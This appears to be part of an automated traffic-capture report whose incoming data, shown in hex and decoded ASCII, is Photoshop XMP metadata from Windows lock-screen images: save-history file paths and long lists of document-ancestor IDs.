6c 65 67 65 46 6f 6f 74 62 61 6c 6c 42 6f 77 6c 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 Data Ascii: dobe\Adobe Photoshop CC 2017\AutoRecover\_MIT-CollegeFootballBowl_GettyImages-126292625_1080x19201A803405804E30CABE43A29D6C5BE581.psb saved 2017-12-14T12:28:41-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\CollegeFootballBowl\CHOSEN\Crop
2022-07-20 17:09:01 UTC	7344	IN	Data Raw: 2d 58 62 6f 78 47 61 6d 69 6e 67 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 53 52 65 77 61 72 64 73 58 62 6f 78 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 34 30 32 35 33 34 30 30 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 32 34 54 31 34 3a 35 32 3a 35 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 53 72 65 77 61 72 64 73 5c 41 55 2d 58 62 6f 78 47 61 6d 69 6e 67 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 53 52 65 77 61 72 64 73 58 62 6f 78 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 34 30 32 35 33 34 30 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 Data Ascii: -XboxGaming\CHOSEN\Crops\MSRewardsXbox_GettyImages-140253400_1080x1920.psd saved 2018-01-24T14:52:50-08:00 File C:\Users\v-lizagh\MS\Windows10\MSrewards\AU-XboxGaming\CHOSEN\Crops\MSRewardsXbox_GettyImages-140253400_1080x1920.jpg saved 2018-01
2022-07-20 17:09:01 UTC	7360	IN	Data Raw: 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 48 6f 6d 65 77 6f 72 6b 41 69 64 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 49 6e 74 6c 5f 48 6f 6d 65 77 6f 72 6b 41 69 64 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 35 33 36 34 30 32 35 34 35 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 31 35 54 31 35 3a 32 37 3a 35 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 49 54 2d 49 6e Data Ascii: ers\v-lizagh\MS\Windows10\MIT-International\HomeworkAid\CHOSEN\Crops\MIT-Intl_HomeworkAid_shutterstock_536402545_1080x1920.jpg saved 2018-02-15T15:27:50-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_MIT-In
2022-07-20 17:09:01 UTC	7368	IN	Data Raw: 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 4d 58 5f 4f 66 66 73 65 74 5f 34 39 38 30 35 35 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 30 37 54 31 38 3a 34 37 3a 34 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 45 43 39 39 33 34 30 42 35 30 46 37 44 35 37 32 30 43 39 36 39 44 34 32 34 33 31 34 39 36 36 37 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 30 37 54 31 Data Ascii: CHOSEN\Crops\MMX_Offset_498055_1080x1920.jpg saved 2018-03-07T18:47:43-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1080x1920_PortraitEC99340B50F7D5720C969D4243149667.psb saved 2018-03-07T1
2022-07-20 17:09:01 UTC	7384	IN	Data Raw: 38 30 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 32 35 46 46 42 30 32 45 39 44 31 39 34 38 38 35 46 31 43 43 36 39 46 36 36 35 36 38 35 36 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 32 37 37 45 31 38 41 38 37 34 45 34 35 39 42 35 32 30 31 35 36 42 37 33 38 34 45 35 44 32 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 32 37 45 36 41 38 41 36 39 33 33 35 31 34 44 41 42 33 35 46 35 36 43 37 32 32 46 39 41 39 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 32 38 38 36 43 44 45 30 43 45 45 39 33 39 34 32 30 44 46 32 32 31 43 38 36 31 43 32 36 46 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 32 38 38 41 34 37 37 42 39 33 44 38 39 37 38 42 45 42 43 42 32 37 43 41 36 45 44 41 33 42 32 3c 2f Data Ascii: 804</rdf:li> <rdf:li>025FFB02E9D194885F1CC69F6656856C</rdf:li> <rdf:li>0277E18A874E459B520156B7384E5D24</rdf:li> <rdf:li>027E6A8A6933514DAB35F56C722F9A9B</rdf:li> <rdf:li>02886CDE0CEE939420DF221C861C26F8</rdf:li> <rdf:li>0288A477B93D8978BEBCB27CA6EDA3B2</
2022-07-20 17:09:01 UTC	7400	IN	Data Raw: 42 44 42 35 43 39 38 43 45 41 46 37 42 38 39 44 34 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 44 43 33 38 32 39 30 43 34 46 46 32 35 36 45 33 35 46 31 42 31 43 42 45 30 41 45 32 33 45 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 44 43 46 42 42 33 35 34 46 35 42 32 36 32 35 43 36 38 32 43 38 36 37 41 39 44 45 36 35 31 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 44 44 38 34 37 42 33 46 38 39 44 34 34 34 41 46 31 37 38 35 37 34 30 44 33 44 42 46 39 37 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 44 45 35 38 39 32 37 46 38 31 46 45 44 32 44 41 37 41 32 45 38 34 39 35 38 33 32 32 39 31 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 44 46 43 30 46 41 46 35 35 33 33 43 39 36 33 33 34 Data Ascii: BDB5C98CEAF7B89D45D</rdf:li> <rdf:li>0DC38290C4FF256E35F1B1CBE0AE23E2</rdf:li> <rdf:li>0DCFBB354F5B2625C682C867A9DE651E</rdf:li> <rdf:li>0DD847B3F89D444AF1785740D3DBF976</rdf:li> <rdf:li>0DE58927F81FED2DA7A2E8495832291F</rdf:li> <rdf:li>0DFC0FAF5533C96334
2022-07-20 17:09:01 UTC	7408	IN	Data Raw: 38 34 34 45 31 36 38 33 32 38 30 45 42 34 44 43 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 32 42 45 41 39 35 45 41 46 45 31 31 46 41 36 33 43 44 45 34 31 42 33 45 41 43 32 35 31 36 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 32 43 35 39 32 37 41 30 44 35 45 46 34 33 37 45 42 44 43 32 46 39 39 30 30 42 34 37 39 46 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 32 44 30 39 30 42 39 44 45 38 45 42 33 31 38 37 35 39 41 44 41 36 42 45 43 39 44 37 41 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 32 44 43 38 36 31 38 45 30 35 41 41 32 33 44 34 35 36 45 38 36 34 32 43 44 31 39 42 39 30 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 32 45 42 43 35 38 44 44 32 42 35 43 33 34 32 42 36 45 35 Data Ascii: 844E1683280EB4DC7</rdf:li> <rdf:li>12BEA95EAFE11FA63CDE41B3EAC2516F</rdf:li> <rdf:li>12C5927A0D5EF437EBDC2F9900B479F6</rdf:li> <rdf:li>12D090B9DE8EB318759ADA6BEC9D7A56</rdf:li> <rdf:li>12DC8618E05AA23D456E8642CD19B904</rdf:li> <rdf:li>12EBC58DD2B5C342B6E5
2022-07-20 17:09:01 UTC	7424	IN	Data Raw: 3e 31 45 39 45 36 31 45 39 36 41 34 45 35 43 35 36 30 39 33 41 38 45 43 34 41 41 43 37 35 31 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 45 41 33 36 36 45 31 36 33 33 46 38 41 43 34 46 34 41 45 34 43 46 45 38 30 41 34 37 43 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 45 41 34 32 34 46 31 39 43 37 39 36 37 32 46 46 32 46 35 36 35 42 43 44 32 30 42 43 30 35 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 45 41 45 36 44 35 38 46 41 35 46 30 30 37 35 38 31 45 46 39 45 41 30 44 46 45 45 43 32 42 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 45 42 30 34 42 35 33 37 39 41 34 33 42 46 35 46 36 33 44 33 35 35 41 42 45 36 34 34 38 35 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 45 42 42 Data Ascii: >1E9E61E96A4E5C56093A8EC4AAC751EA</rdf:li> <rdf:li>1EA366E1633F8AC4F4AE4CFE80A47CA5</rdf:li> <rdf:li>1EA424F19C79672FF2F565BCD20BC057</rdf:li> <rdf:li>1EAE6D58FA5F007581EF9EA0DFEEC2BE</rdf:li> <rdf:li>1EB04B5379A43BF5F63D355ABE64485F</rdf:li> <rdf:li>1EBB
2022-07-20 17:09:01 UTC	7440	IN	Data Raw: 42 42 44 44 35 33 45 42 41 46 38 45 44 41 42 43 41 37 33 39 46 34 30 31 31 44 30 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 39 41 44 31 32 36 41 32 39 35 35 39 43 42 38 44 35 34 32 38 31 32 44 39 38 42 41 30 36 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 39 42 36 35 45 46 38 36 42 36 46 32 41 33 41 31 41 39 43 36 42 41 38 34 34 31 30 37 35 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 39 42 36 38 31 41 30 35 39 30 32 35 34 31 42 34 42 43 45 37 45 45 38 33 34 35 44 45 41 43 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 39 44 43 33 43 30 38 31 35 36 38 42 35 41 44 44 41 32 39 34 35 46 41 37 30 37 30 42 44 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 39 45 32 38 42 39 33 32 Data Ascii: BBDD53EBAF8EDABCA739F4011D04</rdf:li> <rdf:li>29AD126A29559CB8D542812D98BA0662</rdf:li> <rdf:li>29B65EF86B6F2A3A1A9C6BA84410759A</rdf:li> <rdf:li>29B681A05902541B4BCE7EE8345DEAC9</rdf:li> <rdf:li>29DC3C081568B5ADDA2945FA7070BDFC</rdf:li> <rdf:li>29E28B932
2022-07-20 17:09:01 UTC	7448	IN	Data Raw: 44 43 41 46 30 43 38 32 43 32 44 32 38 39 44 34 44 42 30 46 46 46 32 46 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 45 38 46 44 46 35 43 38 32 44 36 42 45 37 45 35 45 42 36 43 39 44 37 42 31 38 44 32 35 31 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 45 41 35 38 31 31 44 38 38 42 41 36 43 31 30 34 44 31 31 39 41 44 37 44 35 37 38 30 33 44 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 45 42 31 34 37 42 32 42 35 36 35 41 34 38 31 44 31 44 33 42 43 38 45 34 32 37 45 34 44 32 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 45 42 43 37 39 42 41 33 45 37 45 45 39 33 35 37 32 39 39 33 45 39 41 45 39 34 37 43 38 30 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 45 42 45 42 37 30 34 33 37 38 Data Ascii: DCAF0C82C2D289D4DB0FFF2FD0</rdf:li> <rdf:li>2E8FDF5C82D6BE7E5EB6C9D7B18D251D</rdf:li> <rdf:li>2EA5811D88BA6C104D119AD7D57803D2</rdf:li> <rdf:li>2EB147B2B565A481D1D3BC8E427E4D25</rdf:li> <rdf:li>2EBC79BA3E7EE93572993E9AE947C801</rdf:li> <rdf:li>2EBEB704378
2022-07-20 17:09:01 UTC	7464	IN	Data Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 33 41 38 32 46 35 38 35 31 42 33 42 38 31 38 35 34 37 39 34 37 34 32 39 32 33 46 43 41 37 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 41 38 34 36 41 43 44 46 38 34 41 38 30 43 37 30 45 44 41 30 36 46 39 31 41 43 34 31 39 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 41 38 34 43 30 38 34 35 35 35 35 37 33 31 33 41 35 36 30 35 34 45 30 45 37 31 36 39 34 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 41 39 31 45 32 36 46 37 39 31 41 31 39 38 38 44 34 44 32 30 42 42 38 39 35 39 35 32 36 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 41 42 42 42 45 46 34 46 33 33 44 43 32 30 39 36 42 35 37 30 41 30 36 46 32 36 36 46 32 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 Data Ascii: > <rdf:li>3A82F5851B3B81854794742923FCA7C8</rdf:li> <rdf:li>3A846ACDF84A80C70EDA06F91AC4197D</rdf:li> <rdf:li>3A84C08455557313A56054E0E716947D</rdf:li> <rdf:li>3A91E26F791A1988D4D20BB895952617</rdf:li> <rdf:li>3ABBBEF4F33DC2096B570A06F266F273</rdf:li> <rd
2022-07-20 17:09:01 UTC	7480	IN	Data Raw: 42 33 35 30 31 30 30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 35 41 42 39 33 30 33 38 37 35 35 35 37 46 35 43 46 35 32 31 34 44 43 33 31 39 35 30 45 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 35 42 30 44 42 31 30 38 35 38 35 38 31 39 31 32 36 32 42 36 33 41 41 36 33 42 37 30 43 38 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 35 42 43 36 46 45 43 32 43 44 33 38 41 33 44 33 37 37 34 38 38 41 31 31 45 43 34 45 32 41 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 35 43 37 30 33 45 46 41 44 33 45 38 39 33 34 42 39 44 43 34 39 42 35 45 45 41 32 46 45 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 35 43 38 45 39 30 42 34 35 35 46 31 30 45 36 35 38 36 34 44 42 41 33 46 38 43 30 45 Data Ascii: B3501003</rdf:li> <rdf:li>45AB9303875557F5CF5214DC31950E96</rdf:li> <rdf:li>45B0DB1085858191262B63AA63B70C89</rdf:li> <rdf:li>45BC6FEC2CD38A3D377488A11EC4E2A6</rdf:li> <rdf:li>45C703EFAD3E8934B9DC49B5EEA2FE05</rdf:li> <rdf:li>45C8E90B455F10E65864DBA3F8C0E
2022-07-20 17:09:01 UTC	7487	IN	Data Raw: 44 31 39 33 41 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 41 35 30 45 33 36 37 38 34 45 44 43 37 39 30 39 39 32 30 42 44 32 46 46 33 44 37 36 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 41 45 36 46 37 43 37 39 43 35 41 38 43 36 32 41 34 45 37 32 46 31 36 45 32 43 37 41 37 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 41 46 46 41 35 43 33 42 44 42 45 39 30 41 33 44 46 46 39 39 35 31 44 36 46 46 45 33 39 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 42 34 39 37 41 32 36 41 34 41 43 32 32 33 31 46 39 33 34 45 38 36 41 37 33 33 42 45 41 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 43 38 31 42 33 31 33 43 36 44 44 33 39 41 46 37 41 36 43 37 34 32 35 36 30 42 30 39 46 Data Ascii: D193A7</rdf:li> <rdf:li>4AA50E36784EDC7909920BD2FF3D7655</rdf:li> <rdf:li>4AAE6F7C79C5A8C62A4E72F16E2C7A7C</rdf:li> <rdf:li>4AAFFA5C3BDBE90A3DFF9951D6FFE397</rdf:li> <rdf:li>4AB497A26A4AC2231F934E86A733BEAA</rdf:li> <rdf:li>4AC81B313C6DD39AF7A6C742560B09F
2022-07-20 17:09:01 UTC	7503	IN	Data Raw: 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 36 35 41 32 38 35 43 44 41 33 46 41 30 39 41 31 45 46 36 32 34 31 31 37 45 39 33 35 39 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 36 36 43 33 45 45 41 44 37 38 41 39 33 34 31 43 38 39 35 36 43 45 36 43 31 32 43 35 33 46 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 36 37 44 39 41 38 38 36 30 43 39 35 31 34 39 42 44 38 37 39 46 37 46 37 33 34 33 41 36 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 36 38 36 32 35 46 34 46 37 46 33 31 34 35 42 39 30 43 42 35 37 38 42 33 42 31 32 43 37 36 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 36 38 42 41 33 38 36 41 45 37 41 37 33 45 38 33 31 42 36 37 36 36 46 33 38 32 37 46 45 36 41 3c 2f 72 64 Data Ascii: 0</rdf:li> <rdf:li>565A285CDA3FA09A1EF624117E9359B5</rdf:li> <rdf:li>566C3EEAD78A9341C8956CE6C12C53F4</rdf:li> <rdf:li>567D9A8860C95149BD879F7F7343A608</rdf:li> <rdf:li>568625F4F7F3145B90CB578B3B12C76F</rdf:li> <rdf:li>568BA386AE7A73E831B6766F3827FE6A</rd
2022-07-20 17:09:01 UTC	7519	IN	Data Raw: 30 41 34 37 36 38 42 37 44 42 36 30 31 43 43 35 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 33 37 36 37 43 44 41 43 32 44 36 33 35 30 32 32 39 37 46 38 41 39 36 31 46 45 35 46 38 32 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 33 38 31 46 39 38 36 37 41 42 32 36 34 35 41 42 35 43 31 39 32 30 44 31 32 46 45 46 44 46 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 33 38 39 39 46 43 32 41 41 41 36 44 34 32 41 31 42 32 37 33 37 41 46 39 35 41 36 34 42 43 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 33 41 32 35 41 41 42 41 39 39 42 30 34 44 42 33 44 39 43 41 34 34 45 33 34 34 36 46 46 39 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 33 41 45 37 30 31 37 37 37 41 42 45 30 39 36 46 44 37 31 Data Ascii: 0A4768B7DB601CC54</rdf:li> <rdf:li>63767CDAC2D63502297F8A961FE5F823</rdf:li> <rdf:li>6381F9867AB2645AB5C1920D12FEFDF4</rdf:li> <rdf:li>63899FC2AAA6D42A1B2737AF95A64BCD</rdf:li> <rdf:li>63A25AABA99B04DB3D9CA44E3446FF94</rdf:li> <rdf:li>63AE701777ABE096FD71
2022-07-20 17:09:01 UTC	7527	IN	Data Raw: 38 31 34 30 33 45 31 38 37 41 34 39 30 30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 39 34 43 31 30 44 43 39 39 36 34 36 38 36 41 31 33 34 42 44 44 36 34 45 36 41 35 35 34 45 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 39 35 33 37 44 38 38 37 39 34 46 46 39 38 30 31 32 42 36 46 38 45 43 30 34 31 30 41 42 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 39 35 37 42 41 44 42 43 38 30 38 42 44 37 35 34 45 46 31 34 43 34 39 42 43 34 34 41 39 34 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 39 35 42 46 31 35 35 32 31 36 33 46 45 34 43 34 42 30 30 35 33 33 38 44 42 45 42 35 43 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 39 35 45 35 46 37 30 42 36 30 31 45 35 35 30 42 45 44 35 31 39 Data Ascii: 81403E187A49003</rdf:li> <rdf:li>694C10DC9964686A134BDD64E6A554EC</rdf:li> <rdf:li>69537D88794FF98012B6F8EC0410ABA8</rdf:li> <rdf:li>6957BADBC808BD754EF14C49BC44A94B</rdf:li> <rdf:li>695BF1552163FE4C4B005338DBEB5C81</rdf:li> <rdf:li>695E5F70B601E550BED519
2022-07-20 17:09:01 UTC	7543	IN	Data Raw: 35 44 37 38 39 42 41 36 46 38 39 38 31 34 38 35 42 46 33 42 32 33 35 30 43 45 44 44 39 45 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 44 39 44 39 45 38 37 43 41 32 36 37 44 38 42 31 34 39 44 46 30 41 34 30 30 34 30 37 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 45 32 32 31 44 34 31 35 44 45 31 30 39 41 37 45 41 41 44 37 46 30 42 42 45 31 44 33 44 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 45 43 32 34 43 41 34 35 35 38 34 42 38 39 43 44 41 45 33 36 36 42 35 33 36 42 42 30 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 45 46 37 32 39 46 45 43 38 31 32 36 43 31 41 44 43 30 34 31 38 33 36 42 37 38 32 42 38 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 46 33 30 45 Data Ascii: 5D789BA6F8981485BF3B2350CEDD9E0</rdf:li> <rdf:li>75D9D9E87CA267D8B149DF0A40040708</rdf:li> <rdf:li>75E221D415DE109A7EAAD7F0BBE1D3DC</rdf:li> <rdf:li>75EC24CA45584B89CDAE366B536BB0C8</rdf:li> <rdf:li>75EF729FEC8126C1ADC041836B782B8C</rdf:li> <rdf:li>75F30E
2022-07-20 17:09:01 UTC	7559	IN	Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 31 36 45 44 44 38 42 39 46 37 38 32 30 39 41 36 36 42 33 42 30 41 31 34 46 33 44 45 38 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 31 37 38 38 43 46 30 45 32 39 43 38 42 33 45 33 44 35 39 34 44 44 44 39 32 30 44 46 37 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 31 38 31 32 44 37 37 38 42 39 43 34 30 46 36 30 43 34 32 36 30 35 30 33 34 35 37 38 42 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 31 38 31 42 42 39 30 39 39 36 37 30 36 30 33 37 43 30 38 39 45 45 41 43 41 46 34 30 42 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 31 38 45 36 35 43 35 34 44 30 43 37 46 35 44 35 46 33 43 44 36 37 37 37 33 44 38 35 35 30 44 3c 2f 72 64 66 3a 6c 69 Data Ascii: df:li> <rdf:li>816EDD8B9F78209A66B3B0A14F3DE836</rdf:li> <rdf:li>81788CF0E29C8B3E3D594DDD920DF76B</rdf:li> <rdf:li>81812D778B9C40F60C42605034578B27</rdf:li> <rdf:li>8181BB90996706037C089EEACAF40BA9</rdf:li> <rdf:li>818E65C54D0C7F5D5F3CD67773D8550D</rdf:li
2022-07-20 17:09:01 UTC	7567	IN	Data Raw: 34 44 35 39 37 35 45 45 35 36 33 41 33 43 32 43 31 41 35 41 45 43 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 36 33 46 43 43 43 45 31 33 39 34 34 34 46 45 46 46 33 41 44 34 32 42 31 38 38 33 34 37 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 36 34 42 34 42 38 42 37 46 42 45 43 36 30 38 41 38 33 30 45 36 30 43 46 30 37 45 42 38 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 36 35 33 36 46 32 43 30 44 35 37 46 42 32 41 30 45 43 36 32 41 37 46 43 45 31 33 42 39 31 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 36 35 35 37 31 31 31 41 46 42 32 34 45 44 41 32 39 31 46 43 43 33 30 45 39 30 36 31 45 46 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 36 35 41 31 34 30 36 38 38 45 44 45 Data Ascii: 4D5975EE563A3C2C1A5AEC09</rdf:li> <rdf:li>863FCCCE139444FEFF3AD42B1883476B</rdf:li> <rdf:li>864B4B8B7FBEC608A830E60CF07EB8B5</rdf:li> <rdf:li>86536F2C0D57FB2A0EC62A7FCE13B91F</rdf:li> <rdf:li>86557111AFB24EDA291FCC30E9061EFE</rdf:li> <rdf:li>865A140688EDE
2022-07-20 17:09:01 UTC	7583	IN	Data Raw: 3c 72 64 66 3a 6c 69 3e 39 31 30 34 36 38 36 35 45 33 44 35 35 45 38 34 45 32 35 42 42 36 36 34 34 41 44 38 37 41 39 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 31 30 36 37 39 41 30 38 45 45 44 42 33 46 36 45 32 36 36 30 30 34 33 34 32 32 36 33 39 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 31 30 46 30 34 32 30 36 42 38 43 30 44 41 38 35 36 39 32 42 30 30 31 38 32 39 45 31 37 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 31 30 46 31 43 42 32 44 41 35 31 36 46 45 43 30 46 35 30 44 44 33 33 30 42 39 31 37 34 34 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 31 32 41 34 44 31 38 45 34 31 38 31 46 32 30 44 44 43 38 31 37 42 33 36 36 43 42 32 42 43 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a Data Ascii: <rdf:li>91046865E3D55E84E25BB6644AD87A98</rdf:li> <rdf:li>910679A08EEDB3F6E2660043422639DE</rdf:li> <rdf:li>910F04206B8C0DA85692B001829E175D</rdf:li> <rdf:li>910F1CB2DA516FEC0F50DD330B91744A</rdf:li> <rdf:li>912A4D18E4181F20DDC817B366CB2BC9</rdf:li> <rdf:
